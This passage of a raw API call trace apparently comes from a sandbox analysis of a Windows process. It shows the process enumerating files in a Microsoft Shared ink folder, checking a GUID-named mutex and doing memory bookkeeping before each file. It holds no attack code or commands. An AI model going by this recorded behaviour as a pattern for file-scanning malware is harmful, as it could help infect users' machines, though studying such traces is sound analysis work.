lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.050] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.050] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.050] GlobalUnlock (hMem=0x44000c) returned 0 [0046.050] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.050] GlobalLock (hMem=0x440004) returned 0x554190 [0046.050] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.051] GlobalUnlock (hMem=0x44000c) returned 0 [0046.051] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.051] GlobalUnlock (hMem=0x440004) returned 0 [0046.051] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.051] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.051] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.051] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.051] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.051] GlobalLock (hMem=0x440004) returned 0x552180 [0046.051] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.051] GlobalUnlock (hMem=0x440004) returned 0 [0046.051] GlobalLock (hMem=0x440004) returned 0x552180 [0046.051] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.051] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.051] GlobalUnlock (hMem=0x440004) returned 0 [0046.051] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.051] GlobalUnlock (hMem=0x44000c) returned 0 [0046.051] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.051] CharLowerBuffW (in: lpsz="TipTsf.dll.mui", cchLength=0xe | out: lpsz="tiptsf.dll.mui") returned 0xe [0046.051] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.051] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.051] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.051] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.051] GlobalUnlock (hMem=0x44000c) returned 0 [0046.051] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.051] GlobalLock (hMem=0x440004) returned 0x553188 [0046.051] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.051] GlobalUnlock (hMem=0x44000c) returned 0 [0046.052] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.052] GlobalUnlock (hMem=0x440004) returned 0 [0046.052] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ccd4ae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ccd4ae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.052] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.052] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.052] GlobalLock (hMem=0x440004) returned 0x551178 [0046.052] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.052] GlobalUnlock (hMem=0x440004) returned 0 [0046.052] GlobalLock (hMem=0x440004) returned 0x551178 [0046.052] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.052] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.052] GlobalUnlock (hMem=0x440004) returned 0 [0046.052] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.052] GlobalUnlock (hMem=0x44000c) returned 0 [0046.052] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.052] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3ccd4ae0, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3ccd4ae0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.052] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.052] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.052] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.052] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.052] GlobalUnlock (hMem=0x44000c) returned 0 [0046.052] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.052] GlobalLock (hMem=0x440004) returned 0x554190 [0046.052] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.052] GlobalUnlock (hMem=0x44000c) returned 0 [0046.052] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.052] GlobalUnlock (hMem=0x440004) returned 0 [0046.052] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.052] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0046.053] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.053] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.053] GlobalLock (hMem=0x440004) returned 0x552180 [0046.053] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.053] GlobalUnlock (hMem=0x440004) returned 0 [0046.053] GlobalLock (hMem=0x440004) returned 0x552180 [0046.053] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.053] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.053] GlobalUnlock (hMem=0x440004) returned 0 [0046.053] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.053] GlobalUnlock (hMem=0x44000c) returned 0 [0046.053] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.053] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0046.053] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.053] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.053] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.053] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.053] GlobalUnlock (hMem=0x44000c) returned 0 [0046.053] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.053] GlobalLock (hMem=0x440004) returned 0x554190 [0046.053] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.053] GlobalUnlock (hMem=0x44000c) returned 0 [0046.053] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.053] GlobalUnlock (hMem=0x440004) returned 0 [0046.053] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.053] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0046.054] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.054] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.054] GlobalLock (hMem=0x440004) returned 0x552180 [0046.054] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.054] GlobalUnlock (hMem=0x440004) returned 0 [0046.055] GlobalLock (hMem=0x440004) returned 0x552180 [0046.055] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.055] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.055] GlobalUnlock (hMem=0x440004) returned 0 [0046.055] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.055] GlobalUnlock (hMem=0x44000c) returned 0 [0046.055] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.055] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0046.055] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.055] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.055] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.055] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.055] GlobalUnlock (hMem=0x44000c) returned 0 [0046.055] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.055] GlobalLock (hMem=0x440004) returned 0x554190 [0046.055] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.055] GlobalUnlock (hMem=0x44000c) returned 0 [0046.055] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.055] GlobalUnlock (hMem=0x440004) returned 0 [0046.055] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.055] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0046.055] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.055] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.055] GlobalLock (hMem=0x440004) returned 0x552180 [0046.055] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.055] GlobalUnlock (hMem=0x440004) returned 0 [0046.055] GlobalLock (hMem=0x440004) returned 0x552180 [0046.055] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.055] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.055] GlobalUnlock (hMem=0x440004) returned 0 [0046.055] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.055] GlobalUnlock (hMem=0x44000c) returned 0 [0046.056] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.056] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0046.056] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.056] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.056] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.056] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.056] GlobalUnlock (hMem=0x44000c) returned 0 [0046.056] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.056] GlobalLock (hMem=0x440004) returned 0x554190 [0046.056] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.056] GlobalUnlock (hMem=0x44000c) returned 0 [0046.056] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.056] GlobalUnlock (hMem=0x440004) returned 0 [0046.056] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.056] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0046.056] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.056] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.056] GlobalLock (hMem=0x440004) returned 0x552180 [0046.056] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.056] GlobalUnlock (hMem=0x440004) returned 0 [0046.056] GlobalLock (hMem=0x440004) returned 0x552180 [0046.056] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.056] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.056] GlobalUnlock (hMem=0x440004) returned 0 [0046.056] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.056] GlobalUnlock (hMem=0x44000c) returned 0 [0046.056] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.056] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0046.056] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.057] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.057] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.057] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.057] GlobalUnlock (hMem=0x44000c) returned 0 [0046.057] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.057] GlobalLock (hMem=0x440004) returned 0x554190 [0046.057] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.057] GlobalUnlock (hMem=0x44000c) returned 0 [0046.057] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.057] GlobalUnlock (hMem=0x440004) returned 0 [0046.057] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.057] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0046.057] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.057] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.057] GlobalLock (hMem=0x440004) returned 0x552180 [0046.057] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.057] GlobalUnlock (hMem=0x440004) returned 0 [0046.057] GlobalLock (hMem=0x440004) returned 0x552180 [0046.057] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.057] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.057] GlobalUnlock (hMem=0x440004) returned 0 [0046.057] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.057] GlobalUnlock (hMem=0x44000c) returned 0 [0046.057] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.057] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0046.057] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.057] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.057] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.057] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.058] GlobalUnlock (hMem=0x44000c) returned 0 [0046.058] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.058] GlobalLock (hMem=0x440004) returned 0x554190 [0046.058] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.058] GlobalUnlock (hMem=0x44000c) returned 0 [0046.058] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.058] GlobalUnlock (hMem=0x440004) returned 0 [0046.058] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.058] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0046.058] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.058] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.058] GlobalLock (hMem=0x440004) returned 0x552180 [0046.058] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.058] GlobalUnlock (hMem=0x440004) returned 0 [0046.058] GlobalLock (hMem=0x440004) returned 0x552180 [0046.058] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.058] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.058] GlobalUnlock (hMem=0x440004) returned 0 [0046.058] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.058] GlobalUnlock (hMem=0x44000c) returned 0 [0046.058] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.058] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0046.058] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.058] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.058] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.058] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.058] GlobalUnlock (hMem=0x44000c) returned 0 [0046.058] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.058] GlobalLock (hMem=0x440004) returned 0x554190 [0046.058] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.058] GlobalUnlock (hMem=0x44000c) returned 0 [0046.059] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.059] GlobalUnlock (hMem=0x440004) returned 0 [0046.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.059] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0046.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.059] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.059] GlobalLock (hMem=0x440004) returned 0x552180 [0046.059] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.059] GlobalUnlock (hMem=0x440004) returned 0 [0046.059] GlobalLock (hMem=0x440004) returned 0x552180 [0046.059] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.059] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.059] GlobalUnlock (hMem=0x440004) returned 0 [0046.059] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.059] GlobalUnlock (hMem=0x44000c) returned 0 [0046.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.059] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0046.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.059] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.059] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.059] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.059] GlobalUnlock (hMem=0x44000c) returned 0 [0046.059] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.059] GlobalLock (hMem=0x440004) returned 0x554190 [0046.059] GlobalHandle (pMem=0x552180) returned 0x44000c 